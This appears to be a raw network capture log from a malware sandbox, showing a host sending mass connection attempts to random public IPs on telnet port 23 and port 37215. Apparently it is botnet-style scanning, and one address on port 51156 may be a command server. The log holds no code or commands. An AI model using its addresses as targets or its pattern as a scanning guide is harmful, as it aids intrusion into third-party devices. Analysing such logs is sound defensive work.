Jan 5, 2025 14:26:51.627331018 CET	57214	23	192.168.2.13	1.225.8.53
Jan 5, 2025 14:26:51.627335072 CET	23	57214	86.225.200.252	192.168.2.13
Jan 5, 2025 14:26:51.627336979 CET	57214	23	192.168.2.13	42.162.192.217
Jan 5, 2025 14:26:51.627340078 CET	23	57214	213.14.202.9	192.168.2.13
Jan 5, 2025 14:26:51.627348900 CET	23	57214	175.94.123.227	192.168.2.13
Jan 5, 2025 14:26:51.627355099 CET	23	57214	200.122.222.239	192.168.2.13
Jan 5, 2025 14:26:51.627357960 CET	56446	37215	192.168.2.13	197.7.160.89
Jan 5, 2025 14:26:51.627357960 CET	56446	37215	192.168.2.13	41.99.161.159
Jan 5, 2025 14:26:51.627358913 CET	23	57214	69.131.146.239	192.168.2.13
Jan 5, 2025 14:26:51.627362967 CET	23	57214	148.222.15.193	192.168.2.13
Jan 5, 2025 14:26:51.627372026 CET	23	57214	12.200.212.129	192.168.2.13
Jan 5, 2025 14:26:51.627373934 CET	56446	37215	192.168.2.13	41.91.156.220
Jan 5, 2025 14:26:51.627373934 CET	57214	23	192.168.2.13	46.44.146.32
Jan 5, 2025 14:26:51.627377033 CET	56446	37215	192.168.2.13	156.165.177.158
Jan 5, 2025 14:26:51.627381086 CET	23	57214	181.9.150.209	192.168.2.13
Jan 5, 2025 14:26:51.627382994 CET	57214	23	192.168.2.13	213.14.202.9
Jan 5, 2025 14:26:51.627386093 CET	57214	23	192.168.2.13	175.94.123.227
Jan 5, 2025 14:26:51.627391100 CET	23	57214	110.25.129.189	192.168.2.13
Jan 5, 2025 14:26:51.627398014 CET	57214	23	192.168.2.13	200.122.222.239
Jan 5, 2025 14:26:51.627398968 CET	23	57214	52.60.118.170	192.168.2.13
Jan 5, 2025 14:26:51.627399921 CET	57214	23	192.168.2.13	86.225.200.252
Jan 5, 2025 14:26:51.627399921 CET	57214	23	192.168.2.13	148.222.15.193
Jan 5, 2025 14:26:51.627405882 CET	57214	23	192.168.2.13	69.131.146.239
Jan 5, 2025 14:26:51.627409935 CET	23	57214	4.156.193.148	192.168.2.13
Jan 5, 2025 14:26:51.627409935 CET	57214	23	192.168.2.13	12.200.212.129
Jan 5, 2025 14:26:51.627413034 CET	57214	23	192.168.2.13	181.9.150.209
Jan 5, 2025 14:26:51.627419949 CET	23	57214	35.68.201.141	192.168.2.13
Jan 5, 2025 14:26:51.627427101 CET	57214	23	192.168.2.13	110.25.129.189
Jan 5, 2025 14:26:51.627432108 CET	23	57214	78.37.40.145	192.168.2.13
Jan 5, 2025 14:26:51.627435923 CET	57214	23	192.168.2.13	52.60.118.170
Jan 5, 2025 14:26:51.627444029 CET	23	57214	212.202.201.198	192.168.2.13
Jan 5, 2025 14:26:51.627445936 CET	57214	23	192.168.2.13	4.156.193.148
Jan 5, 2025 14:26:51.627453089 CET	23	57214	132.218.65.82	192.168.2.13
Jan 5, 2025 14:26:51.627455950 CET	57214	23	192.168.2.13	35.68.201.141
Jan 5, 2025 14:26:51.627456903 CET	23	57214	174.209.91.9	192.168.2.13
Jan 5, 2025 14:26:51.627463102 CET	57214	23	192.168.2.13	78.37.40.145
Jan 5, 2025 14:26:51.627468109 CET	23	57214	110.150.75.218	192.168.2.13
Jan 5, 2025 14:26:51.627474070 CET	56446	37215	192.168.2.13	41.255.210.48
Jan 5, 2025 14:26:51.627476931 CET	23	57214	119.66.97.128	192.168.2.13
Jan 5, 2025 14:26:51.627485037 CET	57214	23	192.168.2.13	212.202.201.198
Jan 5, 2025 14:26:51.627485991 CET	23	57214	189.98.13.206	192.168.2.13
Jan 5, 2025 14:26:51.627490044 CET	57214	23	192.168.2.13	132.218.65.82
Jan 5, 2025 14:26:51.627496004 CET	23	57214	87.218.75.127	192.168.2.13
Jan 5, 2025 14:26:51.627500057 CET	23	57214	113.10.81.184	192.168.2.13
Jan 5, 2025 14:26:51.627504110 CET	23	57214	98.247.104.75	192.168.2.13
Jan 5, 2025 14:26:51.627506018 CET	57214	23	192.168.2.13	174.209.91.9
Jan 5, 2025 14:26:51.627506971 CET	23	57214	185.24.212.125	192.168.2.13
Jan 5, 2025 14:26:51.627506971 CET	56446	37215	192.168.2.13	156.183.123.115
Jan 5, 2025 14:26:51.627515078 CET	57214	23	192.168.2.13	110.150.75.218
Jan 5, 2025 14:26:51.627517939 CET	23	57214	174.181.13.248	192.168.2.13
Jan 5, 2025 14:26:51.627520084 CET	56446	37215	192.168.2.13	156.128.245.30
Jan 5, 2025 14:26:51.627520084 CET	57214	23	192.168.2.13	119.66.97.128
Jan 5, 2025 14:26:51.627520084 CET	57214	23	192.168.2.13	113.10.81.184
Jan 5, 2025 14:26:51.627535105 CET	57214	23	192.168.2.13	189.98.13.206
Jan 5, 2025 14:26:51.627540112 CET	57214	23	192.168.2.13	98.247.104.75
Jan 5, 2025 14:26:51.627542973 CET	57214	23	192.168.2.13	87.218.75.127
Jan 5, 2025 14:26:51.627542973 CET	57214	23	192.168.2.13	174.181.13.248
Jan 5, 2025 14:26:51.627552032 CET	57214	23	192.168.2.13	185.24.212.125
Jan 5, 2025 14:26:51.627561092 CET	56446	37215	192.168.2.13	197.136.150.243
Jan 5, 2025 14:26:51.627567053 CET	56446	37215	192.168.2.13	156.126.133.178
Jan 5, 2025 14:26:51.627567053 CET	56446	37215	192.168.2.13	41.50.109.102
Jan 5, 2025 14:26:51.627568960 CET	56446	37215	192.168.2.13	156.120.183.173
Jan 5, 2025 14:26:51.627585888 CET	56446	37215	192.168.2.13	156.138.1.162
Jan 5, 2025 14:26:51.627585888 CET	56446	37215	192.168.2.13	41.169.219.211
Jan 5, 2025 14:26:51.627588034 CET	56446	37215	192.168.2.13	41.100.185.79
Jan 5, 2025 14:26:51.627588034 CET	56446	37215	192.168.2.13	41.200.198.224
Jan 5, 2025 14:26:51.627598047 CET	56446	37215	192.168.2.13	156.93.102.176
Jan 5, 2025 14:26:51.627599955 CET	56446	37215	192.168.2.13	156.241.172.205
Jan 5, 2025 14:26:51.627609968 CET	56446	37215	192.168.2.13	156.191.120.191
Jan 5, 2025 14:26:51.627609968 CET	56446	37215	192.168.2.13	156.120.20.71
Jan 5, 2025 14:26:51.627615929 CET	56446	37215	192.168.2.13	41.143.219.160
Jan 5, 2025 14:26:51.627635956 CET	56446	37215	192.168.2.13	156.143.189.255
Jan 5, 2025 14:26:51.627636909 CET	56446	37215	192.168.2.13	156.129.139.97
Jan 5, 2025 14:26:51.627635956 CET	56446	37215	192.168.2.13	41.213.147.220
Jan 5, 2025 14:26:51.627636909 CET	56446	37215	192.168.2.13	156.161.119.34
Jan 5, 2025 14:26:51.627635956 CET	56446	37215	192.168.2.13	156.182.202.190
Jan 5, 2025 14:26:51.627635956 CET	56446	37215	192.168.2.13	41.83.98.177
Jan 5, 2025 14:26:51.627636909 CET	23	57214	25.107.186.147	192.168.2.13
Jan 5, 2025 14:26:51.627639055 CET	56446	37215	192.168.2.13	156.222.193.86
Jan 5, 2025 14:26:51.627645016 CET	56446	37215	192.168.2.13	156.86.137.31
Jan 5, 2025 14:26:51.627645969 CET	56446	37215	192.168.2.13	197.229.190.45
Jan 5, 2025 14:26:51.627649069 CET	56446	37215	192.168.2.13	156.145.32.45
Jan 5, 2025 14:26:51.627650023 CET	56446	37215	192.168.2.13	197.32.141.75
Jan 5, 2025 14:26:51.627650023 CET	56446	37215	192.168.2.13	41.250.0.50
Jan 5, 2025 14:26:51.627652884 CET	23	57214	205.103.33.186	192.168.2.13
Jan 5, 2025 14:26:51.627661943 CET	23	57214	208.18.42.167	192.168.2.13
Jan 5, 2025 14:26:51.627671003 CET	23	57214	195.140.142.40	192.168.2.13
Jan 5, 2025 14:26:51.627680063 CET	23	57214	45.45.202.48	192.168.2.13
Jan 5, 2025 14:26:51.627684116 CET	57214	23	192.168.2.13	25.107.186.147
Jan 5, 2025 14:26:51.627686024 CET	57214	23	192.168.2.13	205.103.33.186
Jan 5, 2025 14:26:51.627690077 CET	23	57214	71.73.233.211	192.168.2.13
Jan 5, 2025 14:26:51.627691031 CET	57214	23	192.168.2.13	208.18.42.167
Jan 5, 2025 14:26:51.627692938 CET	57214	23	192.168.2.13	195.140.142.40
Jan 5, 2025 14:26:51.627697945 CET	57214	23	192.168.2.13	45.45.202.48
Jan 5, 2025 14:26:51.627700090 CET	23	57214	207.229.76.142	192.168.2.13
Jan 5, 2025 14:26:51.627707958 CET	23	57214	201.154.177.105	192.168.2.13
Jan 5, 2025 14:26:51.627717018 CET	23	57214	189.188.83.170	192.168.2.13
Jan 5, 2025 14:26:51.627724886 CET	23	57214	80.197.79.93	192.168.2.13
Jan 5, 2025 14:26:51.627727985 CET	57214	23	192.168.2.13	71.73.233.211
Jan 5, 2025 14:26:51.627727985 CET	57214	23	192.168.2.13	207.229.76.142
Jan 5, 2025 14:26:51.627736092 CET	23	57214	112.75.91.79	192.168.2.13
Jan 5, 2025 14:26:51.627741098 CET	57214	23	192.168.2.13	201.154.177.105
Jan 5, 2025 14:26:51.627743006 CET	57214	23	192.168.2.13	189.188.83.170
Jan 5, 2025 14:26:51.627747059 CET	23	57214	87.44.8.167	192.168.2.13
Jan 5, 2025 14:26:51.627752066 CET	57214	23	192.168.2.13	80.197.79.93
Jan 5, 2025 14:26:51.627765894 CET	23	57214	113.131.226.227	192.168.2.13
Jan 5, 2025 14:26:51.627769947 CET	57214	23	192.168.2.13	112.75.91.79
Jan 5, 2025 14:26:51.627775908 CET	23	57214	181.167.189.112	192.168.2.13
Jan 5, 2025 14:26:51.627778053 CET	57214	23	192.168.2.13	87.44.8.167
Jan 5, 2025 14:26:51.627779961 CET	23	57214	100.48.91.173	192.168.2.13
Jan 5, 2025 14:26:51.627789021 CET	23	57214	31.230.194.252	192.168.2.13
Jan 5, 2025 14:26:51.627798080 CET	23	57214	14.25.210.47	192.168.2.13
Jan 5, 2025 14:26:51.627799034 CET	56446	37215	192.168.2.13	41.32.105.23
Jan 5, 2025 14:26:51.627800941 CET	57214	23	192.168.2.13	113.131.226.227
Jan 5, 2025 14:26:51.627805948 CET	23	57214	12.120.6.82	192.168.2.13
Jan 5, 2025 14:26:51.627806902 CET	57214	23	192.168.2.13	181.167.189.112
Jan 5, 2025 14:26:51.627809048 CET	57214	23	192.168.2.13	100.48.91.173
Jan 5, 2025 14:26:51.627813101 CET	57214	23	192.168.2.13	14.25.210.47
Jan 5, 2025 14:26:51.627815962 CET	23	57214	93.210.226.125	192.168.2.13
Jan 5, 2025 14:26:51.627825975 CET	23	57214	86.49.141.168	192.168.2.13
Jan 5, 2025 14:26:51.627834082 CET	23	57214	70.39.54.65	192.168.2.13
Jan 5, 2025 14:26:51.627840996 CET	57214	23	192.168.2.13	31.230.194.252
Jan 5, 2025 14:26:51.627840996 CET	57214	23	192.168.2.13	12.120.6.82
Jan 5, 2025 14:26:51.627842903 CET	23	57214	153.12.164.59	192.168.2.13
Jan 5, 2025 14:26:51.627846003 CET	57214	23	192.168.2.13	93.210.226.125
Jan 5, 2025 14:26:51.627851963 CET	57214	23	192.168.2.13	70.39.54.65
Jan 5, 2025 14:26:51.627854109 CET	23	57214	126.77.0.31	192.168.2.13
Jan 5, 2025 14:26:51.627856970 CET	57214	23	192.168.2.13	86.49.141.168
Jan 5, 2025 14:26:51.627861977 CET	23	57214	31.111.149.233	192.168.2.13
Jan 5, 2025 14:26:51.627871037 CET	23	57214	117.27.210.181	192.168.2.13
Jan 5, 2025 14:26:51.627871990 CET	56446	37215	192.168.2.13	41.193.117.157
Jan 5, 2025 14:26:51.627880096 CET	23	57214	17.68.119.32	192.168.2.13
Jan 5, 2025 14:26:51.627886057 CET	57214	23	192.168.2.13	153.12.164.59
Jan 5, 2025 14:26:51.627888918 CET	23	57214	57.231.143.192	192.168.2.13
Jan 5, 2025 14:26:51.627888918 CET	57214	23	192.168.2.13	126.77.0.31
Jan 5, 2025 14:26:51.627897978 CET	23	57214	174.144.78.64	192.168.2.13
Jan 5, 2025 14:26:51.627902031 CET	57214	23	192.168.2.13	117.27.210.181
Jan 5, 2025 14:26:51.627903938 CET	57214	23	192.168.2.13	31.111.149.233
Jan 5, 2025 14:26:51.627904892 CET	57214	23	192.168.2.13	17.68.119.32
Jan 5, 2025 14:26:51.627918959 CET	57214	23	192.168.2.13	57.231.143.192
Jan 5, 2025 14:26:51.627933025 CET	57214	23	192.168.2.13	174.144.78.64
Jan 5, 2025 14:26:51.627938986 CET	56446	37215	192.168.2.13	156.243.85.162
Jan 5, 2025 14:26:51.627945900 CET	56446	37215	192.168.2.13	41.127.181.246
Jan 5, 2025 14:26:51.627949953 CET	56446	37215	192.168.2.13	41.184.187.5
Jan 5, 2025 14:26:51.627964973 CET	56446	37215	192.168.2.13	197.69.99.114
Jan 5, 2025 14:26:51.627966881 CET	56446	37215	192.168.2.13	197.181.16.116
Jan 5, 2025 14:26:51.627966881 CET	56446	37215	192.168.2.13	156.96.36.4
Jan 5, 2025 14:26:51.627966881 CET	56446	37215	192.168.2.13	156.179.225.210
Jan 5, 2025 14:26:51.627983093 CET	23	57214	178.247.131.201	192.168.2.13
Jan 5, 2025 14:26:51.627986908 CET	56446	37215	192.168.2.13	156.159.119.192
Jan 5, 2025 14:26:51.627988100 CET	56446	37215	192.168.2.13	197.200.51.76
Jan 5, 2025 14:26:51.627991915 CET	56446	37215	192.168.2.13	41.58.137.100
Jan 5, 2025 14:26:51.627994061 CET	23	57214	24.246.52.253	192.168.2.13
Jan 5, 2025 14:26:51.628002882 CET	56446	37215	192.168.2.13	197.245.221.50
Jan 5, 2025 14:26:51.628002882 CET	56446	37215	192.168.2.13	156.162.85.47
Jan 5, 2025 14:26:51.628004074 CET	23	57214	14.16.117.29	192.168.2.13
Jan 5, 2025 14:26:51.628006935 CET	56446	37215	192.168.2.13	156.188.64.188
Jan 5, 2025 14:26:51.628012896 CET	23	57214	157.181.211.199	192.168.2.13
Jan 5, 2025 14:26:51.628015995 CET	57214	23	192.168.2.13	178.247.131.201
Jan 5, 2025 14:26:51.628021955 CET	23	57214	96.173.188.228	192.168.2.13
Jan 5, 2025 14:26:51.628026009 CET	57214	23	192.168.2.13	24.246.52.253
Jan 5, 2025 14:26:51.628032923 CET	23	57214	60.65.30.14	192.168.2.13
Jan 5, 2025 14:26:51.628036976 CET	57214	23	192.168.2.13	14.16.117.29
Jan 5, 2025 14:26:51.628040075 CET	57214	23	192.168.2.13	157.181.211.199
Jan 5, 2025 14:26:51.628041983 CET	23	57214	59.167.175.41	192.168.2.13
Jan 5, 2025 14:26:51.628051043 CET	23	57214	112.55.44.113	192.168.2.13
Jan 5, 2025 14:26:51.628053904 CET	57214	23	192.168.2.13	96.173.188.228
Jan 5, 2025 14:26:51.628057957 CET	57214	23	192.168.2.13	60.65.30.14
Jan 5, 2025 14:26:51.628058910 CET	23	57214	111.112.70.111	192.168.2.13
Jan 5, 2025 14:26:51.628072023 CET	57214	23	192.168.2.13	59.167.175.41
Jan 5, 2025 14:26:51.628076077 CET	57214	23	192.168.2.13	112.55.44.113
Jan 5, 2025 14:26:51.628077030 CET	23	57214	60.249.145.23	192.168.2.13
Jan 5, 2025 14:26:51.628086090 CET	57214	23	192.168.2.13	111.112.70.111
Jan 5, 2025 14:26:51.628087044 CET	23	57214	115.221.79.250	192.168.2.13
Jan 5, 2025 14:26:51.628093004 CET	56446	37215	192.168.2.13	197.118.161.232
Jan 5, 2025 14:26:51.628094912 CET	56446	37215	192.168.2.13	156.108.112.65
Jan 5, 2025 14:26:51.628097057 CET	23	57214	189.201.253.215	192.168.2.13
Jan 5, 2025 14:26:51.628103971 CET	56446	37215	192.168.2.13	197.189.177.66
Jan 5, 2025 14:26:51.628104925 CET	56446	37215	192.168.2.13	41.30.242.203
Jan 5, 2025 14:26:51.628106117 CET	23	57214	188.139.41.35	192.168.2.13
Jan 5, 2025 14:26:51.628112078 CET	57214	23	192.168.2.13	60.249.145.23
Jan 5, 2025 14:26:51.628115892 CET	57214	23	192.168.2.13	115.221.79.250
Jan 5, 2025 14:26:51.628115892 CET	23	57214	213.77.131.212	192.168.2.13
Jan 5, 2025 14:26:51.628128052 CET	23	57214	72.192.109.164	192.168.2.13
Jan 5, 2025 14:26:51.628130913 CET	57214	23	192.168.2.13	189.201.253.215
Jan 5, 2025 14:26:51.628137112 CET	23	57214	80.144.132.217	192.168.2.13
Jan 5, 2025 14:26:51.628139019 CET	57214	23	192.168.2.13	188.139.41.35
Jan 5, 2025 14:26:51.628142118 CET	57214	23	192.168.2.13	213.77.131.212
Jan 5, 2025 14:26:51.628145933 CET	23	57214	93.173.46.101	192.168.2.13
Jan 5, 2025 14:26:51.628154993 CET	23	57214	101.37.35.81	192.168.2.13
Jan 5, 2025 14:26:51.628161907 CET	57214	23	192.168.2.13	80.144.132.217
Jan 5, 2025 14:26:51.628163099 CET	57214	23	192.168.2.13	72.192.109.164
Jan 5, 2025 14:26:51.628164053 CET	23	57214	101.61.34.240	192.168.2.13
Jan 5, 2025 14:26:51.628168106 CET	56446	37215	192.168.2.13	197.222.179.41
Jan 5, 2025 14:26:51.628174067 CET	56446	37215	192.168.2.13	156.145.15.21
Jan 5, 2025 14:26:51.628174067 CET	23	57214	87.145.137.186	192.168.2.13
Jan 5, 2025 14:26:51.628173113 CET	56446	37215	192.168.2.13	197.187.114.111
Jan 5, 2025 14:26:51.628180027 CET	57214	23	192.168.2.13	101.37.35.81
Jan 5, 2025 14:26:51.628180981 CET	56446	37215	192.168.2.13	41.22.114.217
Jan 5, 2025 14:26:51.628180981 CET	57214	23	192.168.2.13	93.173.46.101
Jan 5, 2025 14:26:51.628182888 CET	23	57214	8.153.223.50	192.168.2.13
Jan 5, 2025 14:26:51.628191948 CET	23	57214	69.222.3.131	192.168.2.13
Jan 5, 2025 14:26:51.628194094 CET	57214	23	192.168.2.13	101.61.34.240
Jan 5, 2025 14:26:51.628196001 CET	23	57214	196.42.31.54	192.168.2.13
Jan 5, 2025 14:26:51.628205061 CET	57214	23	192.168.2.13	87.145.137.186
Jan 5, 2025 14:26:51.628205061 CET	23	57214	72.144.11.167	192.168.2.13
Jan 5, 2025 14:26:51.628213882 CET	23	57214	92.232.107.90	192.168.2.13
Jan 5, 2025 14:26:51.628217936 CET	56446	37215	192.168.2.13	197.9.161.212
Jan 5, 2025 14:26:51.628217936 CET	57214	23	192.168.2.13	69.222.3.131
Jan 5, 2025 14:26:51.628223896 CET	23	57214	216.213.93.170	192.168.2.13
Jan 5, 2025 14:26:51.628231049 CET	57214	23	192.168.2.13	196.42.31.54
Jan 5, 2025 14:26:51.628232002 CET	23	57214	136.177.168.47	192.168.2.13
Jan 5, 2025 14:26:51.628233910 CET	57214	23	192.168.2.13	8.153.223.50
Jan 5, 2025 14:26:51.628237963 CET	57214	23	192.168.2.13	72.144.11.167
Jan 5, 2025 14:26:51.628242970 CET	23	57214	141.137.58.236	192.168.2.13
Jan 5, 2025 14:26:51.628252029 CET	57214	23	192.168.2.13	92.232.107.90
Jan 5, 2025 14:26:51.628256083 CET	57214	23	192.168.2.13	216.213.93.170
Jan 5, 2025 14:26:51.628259897 CET	57214	23	192.168.2.13	136.177.168.47
Jan 5, 2025 14:26:51.628261089 CET	23	57214	178.237.137.167	192.168.2.13
Jan 5, 2025 14:26:51.628269911 CET	23	57214	165.176.140.148	192.168.2.13
Jan 5, 2025 14:26:51.628277063 CET	57214	23	192.168.2.13	141.137.58.236
Jan 5, 2025 14:26:51.628278971 CET	23	57214	64.179.21.56	192.168.2.13
Jan 5, 2025 14:26:51.628284931 CET	56446	37215	192.168.2.13	41.169.77.65
Jan 5, 2025 14:26:51.628287077 CET	23	57214	80.199.212.72	192.168.2.13
Jan 5, 2025 14:26:51.628295898 CET	23	57214	27.177.202.201	192.168.2.13
Jan 5, 2025 14:26:51.628295898 CET	57214	23	192.168.2.13	178.237.137.167
Jan 5, 2025 14:26:51.628303051 CET	57214	23	192.168.2.13	165.176.140.148
Jan 5, 2025 14:26:51.628307104 CET	23	57214	94.4.133.226	192.168.2.13
Jan 5, 2025 14:26:51.628314018 CET	57214	23	192.168.2.13	64.179.21.56
Jan 5, 2025 14:26:51.628315926 CET	23	57214	174.160.144.48	192.168.2.13
Jan 5, 2025 14:26:51.628318071 CET	57214	23	192.168.2.13	80.199.212.72
Jan 5, 2025 14:26:51.628324986 CET	23	57214	110.159.115.187	192.168.2.13
Jan 5, 2025 14:26:51.628329039 CET	57214	23	192.168.2.13	27.177.202.201
Jan 5, 2025 14:26:51.628334999 CET	57214	23	192.168.2.13	94.4.133.226
Jan 5, 2025 14:26:51.628341913 CET	57214	23	192.168.2.13	174.160.144.48
Jan 5, 2025 14:26:51.628357887 CET	56446	37215	192.168.2.13	197.26.21.235
Jan 5, 2025 14:26:51.628357887 CET	57214	23	192.168.2.13	110.159.115.187
Jan 5, 2025 14:26:51.628377914 CET	56446	37215	192.168.2.13	156.141.18.229
Jan 5, 2025 14:26:51.628381014 CET	56446	37215	192.168.2.13	41.158.101.198
Jan 5, 2025 14:26:51.628382921 CET	56446	37215	192.168.2.13	197.108.61.211
Jan 5, 2025 14:26:51.628382921 CET	56446	37215	192.168.2.13	156.224.124.222
Jan 5, 2025 14:26:51.628385067 CET	56446	37215	192.168.2.13	41.233.69.216
Jan 5, 2025 14:26:51.628386974 CET	56446	37215	192.168.2.13	156.210.190.117
Jan 5, 2025 14:26:51.628391027 CET	56446	37215	192.168.2.13	41.220.78.190
Jan 5, 2025 14:26:51.628406048 CET	56446	37215	192.168.2.13	156.26.232.175
Jan 5, 2025 14:26:51.628406048 CET	56446	37215	192.168.2.13	41.101.231.119
Jan 5, 2025 14:26:51.628408909 CET	56446	37215	192.168.2.13	197.217.161.235
Jan 5, 2025 14:26:51.628426075 CET	56446	37215	192.168.2.13	41.132.203.189
Jan 5, 2025 14:26:51.628426075 CET	56446	37215	192.168.2.13	41.215.139.189
Jan 5, 2025 14:26:51.628427029 CET	56446	37215	192.168.2.13	41.115.147.26
Jan 5, 2025 14:26:51.628431082 CET	56446	37215	192.168.2.13	156.41.106.173
Jan 5, 2025 14:26:51.628431082 CET	56446	37215	192.168.2.13	156.223.218.170
Jan 5, 2025 14:26:51.628437042 CET	56446	37215	192.168.2.13	197.43.233.81
Jan 5, 2025 14:26:51.628444910 CET	56446	37215	192.168.2.13	197.132.230.254
Jan 5, 2025 14:26:51.628453970 CET	56446	37215	192.168.2.13	197.220.0.228
Jan 5, 2025 14:26:51.628453970 CET	56446	37215	192.168.2.13	197.90.249.126
Jan 5, 2025 14:26:51.628469944 CET	56446	37215	192.168.2.13	41.75.65.46
Jan 5, 2025 14:26:51.628469944 CET	56446	37215	192.168.2.13	197.183.41.32
Jan 5, 2025 14:26:51.628473997 CET	56446	37215	192.168.2.13	156.173.172.158
Jan 5, 2025 14:26:51.628475904 CET	56446	37215	192.168.2.13	156.184.71.58
Jan 5, 2025 14:26:51.628475904 CET	56446	37215	192.168.2.13	197.217.186.51
Jan 5, 2025 14:26:51.628493071 CET	56446	37215	192.168.2.13	197.243.94.28
Jan 5, 2025 14:26:51.628498077 CET	56446	37215	192.168.2.13	41.84.145.41
Jan 5, 2025 14:26:51.628506899 CET	56446	37215	192.168.2.13	156.253.139.252
Jan 5, 2025 14:26:51.628513098 CET	56446	37215	192.168.2.13	197.165.237.237
Jan 5, 2025 14:26:51.628525019 CET	56446	37215	192.168.2.13	156.222.210.222
Jan 5, 2025 14:26:51.628531933 CET	56446	37215	192.168.2.13	41.164.217.222
Jan 5, 2025 14:26:51.628531933 CET	56446	37215	192.168.2.13	156.48.243.72
Jan 5, 2025 14:26:51.628532887 CET	56446	37215	192.168.2.13	197.108.156.34
Jan 5, 2025 14:26:51.628534079 CET	56446	37215	192.168.2.13	41.248.6.250
Jan 5, 2025 14:26:51.628534079 CET	56446	37215	192.168.2.13	41.56.200.150
Jan 5, 2025 14:26:51.628535986 CET	56446	37215	192.168.2.13	41.124.207.44
Jan 5, 2025 14:26:51.628551960 CET	56446	37215	192.168.2.13	41.200.141.69
Jan 5, 2025 14:26:51.628555059 CET	56446	37215	192.168.2.13	156.31.73.67
Jan 5, 2025 14:26:51.628565073 CET	56446	37215	192.168.2.13	197.149.173.251
Jan 5, 2025 14:26:51.628570080 CET	56446	37215	192.168.2.13	197.56.137.196
Jan 5, 2025 14:26:51.628570080 CET	56446	37215	192.168.2.13	156.58.138.195
Jan 5, 2025 14:26:51.628590107 CET	56446	37215	192.168.2.13	156.74.209.29
Jan 5, 2025 14:26:51.628592968 CET	56446	37215	192.168.2.13	197.16.16.62
Jan 5, 2025 14:26:51.628593922 CET	56446	37215	192.168.2.13	156.134.56.242
Jan 5, 2025 14:26:51.628597975 CET	56446	37215	192.168.2.13	156.22.178.242
Jan 5, 2025 14:26:51.628613949 CET	56446	37215	192.168.2.13	41.218.232.5
Jan 5, 2025 14:26:51.628621101 CET	56446	37215	192.168.2.13	156.216.92.82
Jan 5, 2025 14:26:51.628621101 CET	56446	37215	192.168.2.13	41.213.190.9
Jan 5, 2025 14:26:51.628626108 CET	56446	37215	192.168.2.13	197.183.213.165
Jan 5, 2025 14:26:51.628628016 CET	56446	37215	192.168.2.13	197.101.220.105
Jan 5, 2025 14:26:51.628629923 CET	56446	37215	192.168.2.13	197.64.104.168
Jan 5, 2025 14:26:51.628628016 CET	56446	37215	192.168.2.13	156.134.220.150
Jan 5, 2025 14:26:51.628628016 CET	56446	37215	192.168.2.13	41.150.91.255
Jan 5, 2025 14:26:51.628635883 CET	56446	37215	192.168.2.13	156.182.108.235
Jan 5, 2025 14:26:51.628637075 CET	56446	37215	192.168.2.13	197.24.19.21
Jan 5, 2025 14:26:51.628644943 CET	56446	37215	192.168.2.13	156.19.68.8
Jan 5, 2025 14:26:51.628644943 CET	56446	37215	192.168.2.13	197.209.18.2
Jan 5, 2025 14:26:51.628644943 CET	56446	37215	192.168.2.13	156.68.28.227
Jan 5, 2025 14:26:51.628649950 CET	56446	37215	192.168.2.13	197.225.26.50
Jan 5, 2025 14:26:51.628654003 CET	56446	37215	192.168.2.13	197.154.143.3
Jan 5, 2025 14:26:51.628669024 CET	56446	37215	192.168.2.13	197.37.105.229
Jan 5, 2025 14:26:51.628669024 CET	56446	37215	192.168.2.13	156.171.157.93
Jan 5, 2025 14:26:51.628669977 CET	56446	37215	192.168.2.13	41.150.200.53
Jan 5, 2025 14:26:51.628670931 CET	56446	37215	192.168.2.13	197.166.200.103
Jan 5, 2025 14:26:51.628670931 CET	56446	37215	192.168.2.13	197.207.204.147
Jan 5, 2025 14:26:51.628674984 CET	56446	37215	192.168.2.13	197.34.97.211
Jan 5, 2025 14:26:51.628679037 CET	56446	37215	192.168.2.13	197.34.125.126
Jan 5, 2025 14:26:51.628679991 CET	56446	37215	192.168.2.13	197.221.102.244
Jan 5, 2025 14:26:51.628680944 CET	56446	37215	192.168.2.13	197.114.8.118
Jan 5, 2025 14:26:51.628680944 CET	56446	37215	192.168.2.13	156.166.193.172
Jan 5, 2025 14:26:51.628700018 CET	56446	37215	192.168.2.13	41.34.71.17
Jan 5, 2025 14:26:51.628703117 CET	56446	37215	192.168.2.13	41.189.128.27
Jan 5, 2025 14:26:51.628703117 CET	56446	37215	192.168.2.13	41.93.196.254
Jan 5, 2025 14:26:51.628703117 CET	56446	37215	192.168.2.13	197.203.64.117
Jan 5, 2025 14:26:51.628707886 CET	56446	37215	192.168.2.13	156.22.157.198
Jan 5, 2025 14:26:51.628707886 CET	56446	37215	192.168.2.13	41.245.64.206
Jan 5, 2025 14:26:51.628711939 CET	56446	37215	192.168.2.13	197.31.229.121
Jan 5, 2025 14:26:51.628711939 CET	56446	37215	192.168.2.13	41.98.210.10
Jan 5, 2025 14:26:51.628715038 CET	56446	37215	192.168.2.13	41.102.221.223
Jan 5, 2025 14:26:51.628732920 CET	56446	37215	192.168.2.13	197.126.134.242
Jan 5, 2025 14:26:51.628735065 CET	56446	37215	192.168.2.13	197.56.149.245
Jan 5, 2025 14:26:51.628735065 CET	56446	37215	192.168.2.13	156.105.143.47
Jan 5, 2025 14:26:51.628751993 CET	56446	37215	192.168.2.13	197.255.116.253
Jan 5, 2025 14:26:51.628752947 CET	56446	37215	192.168.2.13	41.47.20.230
Jan 5, 2025 14:26:51.628752947 CET	56446	37215	192.168.2.13	41.201.178.124
Jan 5, 2025 14:26:51.628752947 CET	56446	37215	192.168.2.13	156.118.73.31
Jan 5, 2025 14:26:51.628774881 CET	56446	37215	192.168.2.13	41.108.241.65
Jan 5, 2025 14:26:51.628777981 CET	56446	37215	192.168.2.13	41.245.217.86
Jan 5, 2025 14:26:51.628781080 CET	56446	37215	192.168.2.13	41.195.213.215
Jan 5, 2025 14:26:51.628793955 CET	56446	37215	192.168.2.13	197.225.238.159
Jan 5, 2025 14:26:51.628796101 CET	56446	37215	192.168.2.13	197.1.128.93
Jan 5, 2025 14:26:51.628796101 CET	56446	37215	192.168.2.13	197.5.17.118
Jan 5, 2025 14:26:51.628796101 CET	56446	37215	192.168.2.13	197.213.197.152
Jan 5, 2025 14:26:51.628813982 CET	56446	37215	192.168.2.13	156.33.66.110
Jan 5, 2025 14:26:51.628814936 CET	56446	37215	192.168.2.13	41.181.43.14
Jan 5, 2025 14:26:51.628817081 CET	56446	37215	192.168.2.13	197.83.161.230
Jan 5, 2025 14:26:51.628819942 CET	56446	37215	192.168.2.13	156.141.91.215
Jan 5, 2025 14:26:51.632709026 CET	37215	56446	197.7.160.89	192.168.2.13
Jan 5, 2025 14:26:51.632754087 CET	56446	37215	192.168.2.13	197.7.160.89
Jan 5, 2025 14:26:52.109915972 CET	59666	51156	92.118.56.203	192.168.2.13
Jan 5, 2025 14:26:52.110157967 CET	51156	59666	192.168.2.13	92.118.56.203
